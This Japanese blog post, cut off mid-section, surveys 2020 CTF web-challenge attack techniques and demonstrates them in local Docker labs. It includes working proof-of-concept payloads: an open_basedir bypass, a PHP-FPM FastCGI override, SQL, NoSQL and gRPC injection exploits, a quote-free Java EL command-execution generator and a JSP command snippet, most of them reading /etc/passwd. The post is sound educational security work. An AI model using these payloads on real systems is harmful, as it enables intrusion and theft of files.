こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

【2020年】CTF Web問題の攻撃手法まとめ


はじめに

2020年のCTFイベントで出題されたWeb問題のwriteupを読んで、新しく知った攻撃手法やツールなどをピックアップして紹介します。

2019年の記事はこちらです。
graneed.hatenablog.com

2018年の記事はこちらです。
graneed.hatenablog.com

対象イベント

対象のイベントの条件は以下のとおりです。

  • 2020年1月1日~12月31日までに開催されたイベントであること。
  • Online開催であること。
  • Jeopardy形式であること。
  • Web問題であること。

読み方、使い方

量が膨大ですが、大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。 また、CTFで詰まった時に攻撃の取っ掛かりを探すために参照したり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。

それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。

Remote Code Execution(RCE)

本記事で紹介する多くの手法がRCEを取得すること目的としているため、 この章では、任意コードが実行できる状態になったあとに、何らかの制限をバイパスする手法を紹介します。

ディレクトリ指定によるopen_basedirのバイパス

昨年度に引き続き、open_basedirの制限がかかっている中、それをバイパスする問題が多数ありました。その制限をバイパスする手法をいくつか紹介します。

1つ目の手法はopen_basedirを親ディレクトリ指定に更新する手法です。 以下の記事が参考になります。
https://flagbot.ch/posts/phuck3/

実際に試してみましょう。

# open_basedirで/var/www/html配下に限定
root@ip-172-31-6-71:/var/www/html# cat php_open_basedir.ini
open_basedir = /var/www/html

# インタラクティブモードで実験
root@ip-172-31-6-71:/var/www/html# php -a -c php_open_basedir.ini
Interactive mode enabled

# /etc/passwdが読み取れないことを確認
php > var_dump(file_get_contents("/etc/passwd"));

Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/html) in php shell code on line 1

Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not permitted in php shell code on line 1
bool(false)

# サブディレクトリに移動
php > chdir("img/");

# open_basedirを親ディレクトリの指定に更新
php > ini_set("open_basedir", "../");

# ルートディレクトリに移動
php > chdir("../"); # /var/www/html
php > chdir("../"); # /var/www(open_basedirを更新していないと、この段階でエラーになる)
php > chdir("../"); # /var/
php > chdir("../"); # /

# /etc/passwdを読み取れたことを確認
php > var_dump(file_get_contents("/etc/passwd"));
string(1652) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)

PHP-FPMのTCPソケット接続によるopen_basedirとdisable_functionsのバイパス

昨年のまとめでは、PHP-FPMのUnixドメインソケットファイルを使用したdisable_functionsのバイパス手法を紹介しましたが、こちらはTCPソケットを使用している場合の手法です。 PHP_VALUEopen_basedirdisable_functionsを上書きします。

リクエストデータの作成にはPHP FastCGI Clientを使用します。
https://github.com/adoy/PHP-FastCGI-Client

実際に試してみましょう。
まずは環境構築です。

Dockerfile

FROM php:7.4-fpm
COPY php.ini /usr/local/etc/php/conf.d/php.ini
COPY eval.php /tmp/eval.php

php.ini

open_basedir = /var/www/html

eval.php

<?php
eval($_GET["eval"]);

コンテナをビルドして起動します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/php-fpm# docker build --no-cache -t php-fpm .
Sending build context to Docker daemon  215.6kB
Step 1/3 : FROM php:7.4-fpm
 ---> 25cccfd6786d
Step 2/3 : COPY php.ini /usr/local/etc/php/conf.d/php.ini
 ---> 15d17449aad3
Step 3/3 : COPY eval.php /tmp/eval.php
 ---> b0d463ae3003
Successfully built b0d463ae3003
Successfully tagged php-fpm:latest

root@kali:/mnt/hgfs/CTF/Writeup/2020/php-fpm# docker run --rm -p 9000:9000 --name php-fpm php-fpm
[01-Aug-2021 06:23:23] NOTICE: fpm is running, pid 1
[01-Aug-2021 06:23:23] NOTICE: ready to handle connections

PHP FastCGI Clientを使用して、PHP-FPMがListenしている9000番ポートに接続して/tmp/eval.phpを実行するコードです。PHP_VALUEオプションでopen_basedir/に上書きします。

exploit.php

<?php

require 'vendor/autoload.php';

use Adoy\FastCGI\Client;

// Existing socket, such as Lighttpd with mod_fastcgi:
#$client = new Client('unix:///path/to/php/socket', -1);

// Fastcgi server, such as PHP-FPM:
$client = new Client('localhost', '9000');
$content = 'key=value';
echo $client->request(
    array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD' => 'POST',
        'SCRIPT_FILENAME' => '/tmp/eval.php',
        'SERVER_SOFTWARE' => 'php/fcgiclient',
        'REMOTE_ADDR' => '127.0.0.1',
        'REMOTE_PORT' => '9985',
        'SERVER_ADDR' => '127.0.0.1',
        'SERVER_PORT' => '80',
        'SERVER_NAME' => 'mag-tured',
        'SERVER_PROTOCOL' => 'HTTP/1.1',
        'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
        'CONTENT_LENGTH' => strlen($content),
        'PHP_VALUE' => 'open_basedir = /',
        'QUERY_STRING' => 'eval=echo%20file_get_contents%28%27%2F/etc/passwd%27%29%3B',
    ),
    $content
);

コードを実行します。php.iniでopen_basedir/var/www/htmlに制限していたにもかかわらず、/tmp/eval.phpが実行できました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/php-fpm/PHP-FastCGI-Client# php exploit.php
X-Powered-By: PHP/7.4.22
Content-type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)

なお、PHP_VALUEの行をコメントアウトしてopen_basedirを上書きしないよう変更してから実行すると、勿論、エラーになります。

root@kali:/mnt/hgfs/CTF/Writeup/2020/php-fpm/PHP-FastCGI-Client# php exploit.php
Unable to open primary script: /tmp/eval.php (Operation not permitted)Status: 404 Not Found
X-Powered-By: PHP/7.4.22
Content-type: text/html; charset=UTF-8

No input file specified.

JavaのRuntime.execでシェルを実行

Javaで任意のコード実行ができる脆弱性を見つけてRuntime.execメソッドを実行できるようになったものの、 OSコマンドでパイプ(|)やリダイレクト(>)が上手く実行できない場合の手法です。

以下の記事が参考になります。
https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html

実際に試してみましょう。

まずは実行時引数に渡された文字列をRuntine.execメソッドで実行するクラスを用意します。

Exec.java

import java.io.*;

public class Exec {
  public static void main(String[] args) throws IOException {
    Process p = Runtime.getRuntime().exec(args[0]);
    byte[] b = new byte[1];

    while (p.getErrorStream().read(b) > 0)
      System.out.write(b);
    while (p.getInputStream().read(b) > 0)
    System.out.write(b);
  }
}

パイプやリダイレクトを使用したcat /etc/passwd | grep root > /tmp/hogeというOSコマンドを実行できるかどうか試したところ、そのまま実行してもエラーになってしまいましたが、紹介されている手法を使うと、正常に実行できました。

# コンパイル
root@kali:/mnt/hgfs/CTF/Writeup/2020/java-runtime-exec# javac Exec.java

# パイプやリダイレクトに失敗
root@kali:/mnt/hgfs/CTF/Writeup/2020/java-runtime-exec# java Exec 'cat /etc/passwd | grep root > /tmp/hoge'
cat: '|': No such file or directory
cat: grep: No such file or directory
cat: root: No such file or directory
cat: '>': No such file or directory
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)

# 実行に成功
root@kali:/mnt/hgfs/CTF/Writeup/2020/java-runtime-exec# java Exec 'sh -c $@|sh . echo cat /etc/passwd | grep root > /tmp/hoge'

root@kali:/mnt/hgfs/CTF/Writeup/2020/java-runtime-exec# cat /tmp/hoge
root:x:0:0:root:/root:/bin/bash

Cross-Site Scripting(XSS)

nginx環境でHTTPステータスコードが操作できる場合にCSPヘッダーを無効化

HTTPレスポンスのステータスコードが操作可能であること、且つnginxのadd_headerでCSPヘッダーを設定している場合、 nginxのadd_headerでは特定のステータスコードでないと追加されないことを利用して、CSPヘッダーを無効化する手法です。

確かにnginxのドキュメントにも記載されています。
https://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header

GoogleのClosureLibraryサニタイザーのXSS脆弱性

Google検索、GmailGoogleドキュメント等で使用されている、ClosureLibraryサニタイザーの脆弱性を突いて、XSSを発動させる手法です。 writeupに具体的なpayloadが記載されています。

また、writeupに記載されているリンク先も参考になります。
https://research.securitum.com/the-curious-case-of-copy-paste/

WebのProxy機能を介したService Workerの登録

昨年のまとめでもService Workerを使用した問題を紹介しましたが、2020年はDEF CON CTF Qualifierで出題されました。

同一オリジンとして提供されるコンテンツを操作可能且つ管理者にWebブラウザでそのコンテンツに誘導できる場合に、Service Workerを使用することで管理者から以降の画面遷移先の情報を窃取できる手法です。

DEF CON CTF Qualifier 2020のpoootという問題では、https://pooot.challenges.ooo/example.com/にアクセスすると、 https://example.com/を表示してくれるWebのProxyサービスが提供されていました。 feedback機能で管理者にURLを送るとそちらにアクセスしてくれており、また管理者はFLAGの提供先URLにも定期的にアクセスしているようでした。

そこで、自分のサーバーに、画面遷移ごとにそのURL情報を攻撃者のサーバーに送信するようなService Workerを配備し、 https://pooot.challenges.ooo/myserver.com/sw_install.htmlというURLを管理者に送信することで、 管理者のWebブラウザの画面遷移先のURL情報を窃取することができます。

括弧を使わないXSS

WAFやフィルタ機能で()の記号を使用できない場合でも、XSSを発動させる手法です。

以下の記事が参考になります。
https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
https://terjanq.medium.com/arbitrary-parentheses-less-xss-e4a1cf37c13d

/記号を使用せずに遷移先URLを指定

WAFやフィルタ機能で/記号が使用できない場合でも、http:DOMAIN_OR_IP:PORTで回避できます。

実際にChromeで以下のコードを実行すると、example.comに画面遷移しました。

location.href="http:example.com"

SOME(Same Origin Method Execution)を利用してdocument.writeを順次実行

JSONPエンドポイントに問題があってSOME(Same Origin Method Execution)ができるものの、引数として渡せる文字数に制約がある場合に、 JSONPのコールバック関数に別フレームのdocument.write関数を指定し、パラメータに実行したいコードを分割した文字列を渡したものを複数回呼び出すことで、 最終的に目的のコードを組み立ててXSSを発動させる手法です。

SOMEの説明は以下の記事が参考になります。
http://www.benhayak.com/2015/06/same-origin-method-execution-some.html

こちらの手法のPoCは以下で確認できます。(但し、2021年8月時点の最新版のGoogle Chromeでは動作しませんでした。) https://l0.cm/xss_202006/solution.html

SQL Injection

MySQLでinformation_schemaを使用せずに未知のテーブルから情報取得

WAFやフィルタ機能でinformation_schemaを参照できない場合に、 FLAGが格納されているテーブルを探し出してレコードを取得する手法です。 DBMSMySQLが前提です。

TetCTFのSecure Systemという問題では、inという文字列を使用できない制約がありinformation_schemaを参照できないため、 テーブル名と列名を特定するのが困難になっていました。

テーブル名はsys.schema_table_statisticsという、テーブルの統計が格納されたビューを使用して取得できます。 https://dev.mysql.com/doc/refman/8.0/ja/sys-schema-table-statistics.html

そして、列名がわからなくても、以下のSQL構文でBlind SQL Injectionを実行可能です。

SELECT (SELECT 1, 'aa') = (SELECT * FROM example)

exampleテーブルの2列目が、aaと一致していれば1が返却されます。不一致であれば0が返却されます。 あとは、通常のBlind SQL Injectionと同様に、=記号の代わりに<>記号を使用するスクリプトを作れば、1文字ずつ特定可能となります。

但し、このSQLでは大文字・小文字を判別できません。 判別する方法はここでは省略しますので、以下のwriteupを参照ください。

PostgreSQLUTF-16による列名の指定と'記号を使用しない文字列宣言

ちょっとしたテクニックですが、PostgreSQLではUTF-16文字コードで記載した文字列で列名を指定できます。

また、通常、文字列宣言をする場合は'記号で括りますが、$$記号で代替することができます。

どちらも、WAFやフィルタ機能のバイパスに利用できます。

実際に試してみましょう。

まずは環境構築です。Dockerを使用してPostgreSQLを起動し、検証用のテーブルを作成します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/postgresql# docker run --name some-postgres -e POSTGRES_PASSWORD=mysecretpassword -d postgres
Unable to find image 'postgres:latest' locally
(snip)

root@kali:/mnt/hgfs/CTF/Writeup/2020/postgresql# docker exec -it some-postgres /bin/sh

# psql -U postgres
psql (13.3 (Debian 13.3-1.pgdg100+1))
Type "help" for help.

postgres=# CREATE TABLE example (id int, username text, password text);
CREATE TABLE

postgres=# INSERT INTO example VALUES (1, 'admin', 'p@ssw0rd');
INSERT 0 1

postgres=# SELECT * FROM example;
 id | username | password
----+----------+----------
  1 | admin    | p@ssw0rd
(1 row)

UTF-16文字コードで記載した文字列で列名を指定しSELECT文を実行してみると、確かに正常に実行できました。

postgres=# SELECT U&"\0075\0073\0065\0072\006E\0061\006D\0065" FROM example;
 username
----------
 admin
(1 row)

$$記号で文字列宣言もできました。

postgres=# SELECT $$HOGE$$;
 ?column?
----------
 HOGE
(1 row)

SQLiteで16進数表記による列名の指定

同じく、ちょっとしたテクニックですが、SQLiteでは列名を16進数表記で指定できます。

WAFやフィルタ機能のバイパスに利用できます。

実際に試してみましょう。

まずは環境構築です。Dockerを使用してSQLiteを起動し、検証用のテーブルを作成します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/sqlite# docker run --rm -it nouchka/sqlite3
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.

sqlite> CREATE TABLE example(id, name);

sqlite> INSERT INTO example VALUES(1, "hoge");

hogeの16進数表記を確認します。

>>> "hoge".encode('utf-8').hex()
'686f6765'

先頭にxを付けて'で括ると16進数表記で指定できます。

sqlite> SELECT x'686f6765' FROM example;
hoge

但し、テーブル名には指定できません。

>>> "example".encode('utf-8').hex()
'6578616d706c65'

sqlite> SELECT x'686f6765' FROM x'6578616d706c65';
Error: near "x'6578616d706c65'": syntax error

gRPCのアプリケーションに対するSQLインジェクション

公開されているコードを読むとSQLインジェクションの対象は明らかですが、インターフェースがgRPCというのがポイントです。 普通にWebブラウザでアクセスしても何も表示されません。

githubで問題が公開されており、Dockerで簡単に環境構築できるようになっていたため、やってみましょう。

まずは環境構築です。README.mdに記載されている通りに実行します。 時間とリソースの節約のため、light_sequelの問題のコンテナのみ起動するようdocker-compose.yamlをカスタマイズしましたが、そのままでも大丈夫だと思います。

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# git clone https://github.com/wectf/2020

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# cd 2020 && docker-compose up

次に、writeupを参考にgRPCのクライアントとなるコードを作成します。 writeupではimport文が省略されていたため補います。

exploit.go

package main

import (
    "fmt"
    "golang.org/x/net/context"
    "google.golang.org/grpc"
    "google.golang.org/grpc/metadata"
    proto "light_sequel/proto"
)

func main() {
    conn, err := grpc.Dial("localhost:1004", grpc.WithInsecure())
    if err != nil {
        panic(err)
    }
    defer conn.Close()
    srvc := proto.NewSrvClient(conn)
    md := metadata.New(map[string]string{"user_token": "')) union select flag from flags--"})
    ctx := metadata.NewOutgoingContext(context.Background(), md)
    srvreq := proto.SrvRequest{}
    srvresp, err := srvc.GetLoginHistory(ctx, &srvreq)
    if err != nil {
        panic(err)
    }
    fmt.Println(srvresp)
}

次にgRPCのクライアントをビルドする環境準備ですが、gRPC何もわからない状態でしたので、以下の記事を参考にしました。
https://qiita.com/marnie_ms4/items/4582a1a0db363fe246f3

# grpcのインストール
root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# go get -u google.golang.org/grpc

# protocのインストール
root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# wget https://github.com/protocolbuffers/protobuf/releases/download/v3.17.3/protoc-3.17.3-linux-x86_64.zip
root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# unzip protoc-3.17.3-linux-x86_64.zip
root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# mv bin/* /usr/local/bin/
root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# mv include/* /usr/local/include/

# protocのGo用のプラグインをインストール
root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# go get -u github.com/golang/protobuf/protoc-gen-go

この段階でビルドしてみますが、エラーになります。

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# go build exploit.go
exploit.go:8:2: cannot find package "light_sequel/proto" in any of:
        /usr/local/go/src/light_sequel/proto (from $GOROOT)
        /root/go-workspace/src/light_sequel/proto (from $GOPATH)

配布されているインターフェースファイルを持ってきて、環境変数GOPATHに設定してから、再度ビルドすると成功しました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# ls -la ./src/light_sequel/proto/
total 14
drwxrwxrwx 1 root root     0 Aug  3 15:50 .
drwxrwxrwx 1 root root     0 Aug  3 16:16 ..
-rwxrwxrwx 1 root root 13776 Aug  3 15:50 main.pb.go
-rwxrwxrwx 1 root root   433 Aug  3 16:18 main.proto

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# GOPATH=$GOPATH:/mnt/hgfs/CTF/Writeup/2020/grpc

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# go build exploit.go

実行するとFLAGが取得できました。

root@kali:/mnt/hgfs/CTF/Writeup/2020/grpc# ./exploit
ip:"we{00000000-0000-0000-0000-000000000000@demo-flag}"

NoSQL Injection

MongoDBでJavaScript形式のクエリを使用したBlind NoSQL Injection

MongoDBでは、$where演算子を使用してJavaScript形式でクエリを記述できます。
https://docs.mongodb.com/manual/reference/operator/query/where/

Square CTF 2020のDeep Web Blogという問題では、NoSQL Injectionの脆弱性があるものの、HTTPレスポンス内にFLAG文字列が含まれていると除去されてしまいました。 そこで、予想するFLAG文字列が部分一致したかどうかで応答結果が変わるようなクエリをJavaScriptで記載することで、 Blind SQL Injectionのように、1文字ずつFLAG文字列を特定可能となります。

実際に試してみましょう。

まずは環境構築です。Dockerを使用してMongoDBの環境を立てて、適当なFLAG文字列(flag{dummy})を設定したレコードを追加します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/mongodb# docker run --rm --name mongo -d mongo
6e687e3ca2b0ccc3f71d12282031254c1edf46dbe8bbeadf8f774a359cd5a9d0

root@kali:/mnt/hgfs/CTF/Writeup/2020/mongodb# docker exec -it mongo /bin/sh
# mongo
MongoDB shell version v5.0.1
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
(snip)

> use posts
switched to db posts

> db.posts.insert({title:'flag', content:'flag{dummy}'});
WriteResult({ "nInserted" : 1 })

FLAG文字列がflag{aに部分一致するかどうかを確認すると、何も返却されません。

> db.posts.find({"$where": "function(){if(this.content!=undefined){return this.content.includes('flag{a')} else {return false}}"})

FLAG文字列がflag{dに部分一致するかどうかを確認すると、結果が返却されました。

> db.posts.find({"$where": "function(){if(this.content!=undefined){return this.content.includes('flag{d')} else {return false}}"})
{ "_id" : ObjectId("610976399b9e9a736e1e1833"), "title" : "flag", "content" : "flag{dummy}" }

これで、応答があったかどうかだけわかれば、1文字ずつ特定できそうです。

MongoDBのObjectIDを予測するライブラリ

MongoDBのObjectIDは、ランダム部分があるものの、既に有効なオブジェクトIDを知っていれば、予測可能となっています。
https://docs.mongodb.com/manual/reference/method/ObjectId/

ObjectIDを予測してブルートフォースするライブラリが公開されています。
https://github.com/andresriancho/mongo-objectid-predict

なお、過去にångstromCTF 2018のThe Best Websiteという問題で出題されていたことがあります。
https://rawsec.ml/en/angstromCTF-2018-write-ups/#230-the-best-website-web

その他のInjection

Apache Solr Injection

Apache Solrというオープンソース全文検索システムに対するインジェクション攻撃手法です。

以下の記事が参考になります。
https://github.com/veracode-research/solr-injection

nullcon HackIM 2020のsolar energyという問題では、ShowFileRequestHandlerを使用して、configディレクトリ内のファイルのリスティングとファイルを読み取る手法が使われました。
https://solr.apache.org/docs/7_7_0/solr-core/org/apache/solr/handler/admin/ShowFileRequestHandler.html

'"を使用せずにExpression Language Injectionで任意のOSコマンド実行

JavaでExpression Language Injectionの脆弱性があり、 且つWAFやフィルタ機能で'"記号をブロックされている場合に、 それら記号を使用した文字列表現なしに、任意のOSコマンドを実行する手法です。

以下のページで解説されています。
https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass

実際に試してみましょう。

任意の文字列を、'"記号を使用せずに文字列として取得可能なコードに変換するスクリプトです。

Gen-Payload.py

import sys

payload = sys.argv[1]

print ("true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0]), end='')

for i in range(1, len(payload)):
    print (".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i]), end='')
print ("")

スクリプトを使用して、java.lang.Runtime文字列と、実行したいOSコマンドの文字列を取得するコードを生成します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/java-EL# python3 Gen-Payload.py "java.lang.Runtime"
true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())

root@kali:/mnt/hgfs/CTF/Writeup/2020/java-EL# python3 Gen-Payload.py "cp /etc/passwd /tmp/passwd"
true.toString().charAt(0).toChars(99)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString())

生成したコードを使用してコード全体を組み立てて、EL式として実行する、テスト用のコードを書きます。

Main.java

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.*;
public class Main {
    public static void main(String[] args) {
        ExpressionFactory factory = new ExpressionFactoryImpl();
        SimpleContext context = new SimpleContext();

        String javalangRuntime = "true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())";
        String command = "true.toString().charAt(0).toChars(99)[0].toString().concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(112)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(119)[0].toString()).concat(true.toString().charAt(0).toChars(100)[0].toString())";
        String pl = "ABC ${true.getClass().forName(" + javalangRuntime + ").getMethods()[6].invoke(true.getClass().forName(" + javalangRuntime + ")).exec(" + command + ")}";
        ValueExpression e = factory.createValueExpression(context, pl, String.class);
        System.out.println(e.getValue(context));
    }
}

コンパイルして実行すると、OSコマンドの実行に成功したことを確認できます。./lib/配下には、tomocatとjuelのjarファイルを配備しています。

root@kali:/mnt/hgfs/CTF/Writeup/2020/java-EL# javac -cp "./:./lib/*" Main.java

root@kali:/mnt/hgfs/CTF/Writeup/2020/java-EL# java -cp "./:./lib/*" Main
ABC Process[pid=4127104, exitValue=0]

root@kali:/mnt/hgfs/CTF/Writeup/2020/java-EL# cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(snip)

Server-Side Template Injection(SSTI)

flaskのSSTI脆弱性を利用してHTTPトンネリング

flaskのアプリケーションにSSTIの脆弱性を発見した後、 そこからHTTPトンネルを張るコードを実行して、ネットワーク内部にアクセスする手法です。

HTTPトンネルを張るツールとしてreGeorgがありますが、 こちらはターゲットのWebサーバーにjspphpファイルなどを何らかの方法でアップロードして、そこを入り口とする前提でした。 Pythonやflaskには対応していません。

WMCTF 2020のLogin me again and againという問題では、 flaskのSSTI脆弱性で任意のコードを実行できる前提で、 その場でflaskに新しくルートを追加し、reGeorgから接続可能なHTTPトンネルの入り口を設ける手法が使われました。 (jspphpファイルのアップロードとは違い、ファイルシステム上には痕跡が残らないので、実際の攻撃に使われた場合に検知や調査が困難ですね・・・)

ちなみに、reGeorgをリファクタリングおよび機能追加しているNeo-reGeorgというツールもあります。
https://github.com/L-codes/Neo-reGeorg/blob/master/README-en.md

Local/Remote File Inclusion

TomcatAJPコネクタにAJPリクエストを送信してLFI

Tomcatには、Apache HTTP Server等と連携するために、AJP(Apache JServ Protocol)で通信可能なAJPコネクタという機能があります。

CVE-2020-1938の脆弱性を使用したり、何らかの理由でAJPポートに直接アクセスしたい場合などのために、 AJPリクエストを送信するツールが公開されています。
https://github.com/hypn0s/AJPy

CVE-2020-1938はLFIの脆弱性ですが、以下の記事が参考になります。
https://www.jpcert.or.jp/at/2020/at200009.html
https://blog.trendmicro.co.jp/archives/24748

なお、Tomcatのバージョン8.5.51から、デフォルト設定でAJPポートは公開しない設定になりました。

実際に試してみましょう。

まずはターゲットとなる環境とアプリを構築します。

こちらがファイル構成です。

./
├── Dockerfile
└── webapps
    └── demo
        ├── cmd.txt
        └── WEB-INF
            └── web.xml

CVE-2020-1938の脆弱性8.5.51で修正されているため、それより前である8.5.50を使用するコンテナイメージを使用します。

Dockerfile

FROM tomcat:8.5.50-jdk11-adoptopenjdk-hotspot
COPY conf/ /usr/local/tomcat/conf/
COPY webapps/ /usr/local/tomcat/webapps/

LFIでコード実行するために、実行したいコードをJSPで記載したファイルをコンテキスト内に配備しておきます。CTFの問題では、アップロード機能で配備しますが、検証を簡略化するためあらかじめ配備しておきます。

webapps/demo/cmd.txt

<% out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("id").getInputStream())).readLine()); %>

コンテナをビルドして起動します。

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-ajp# docker build --no-cache -t tomcat-ajp-demo .
Sending build context to Docker daemon  238.6kB
Step 1/3 : FROM tomcat:8.5.50-jdk11-adoptopenjdk-hotspot
 ---> a34c1f77edf9
Step 2/3 : COPY conf/ /usr/local/tomcat/conf/
 ---> dbdc19274adf
Step 3/3 : COPY webapps/ /usr/local/tomcat/webapps/
 ---> f236312ecd76
Successfully built f236312ecd76
Successfully tagged tomcat-ajp-demo:latest

root@kali:/mnt/hgfs/CTF/Writeup/2020/tomcat-ajp# docker run --rm -p 8009:8009 --name tomcat-ajp-demo tomcat-ajp-demo
(snip)
09-Aug-2021 00:24:56.665 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
09-Aug-2021 00:24:56.681 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-0.0.0.0-8009"]
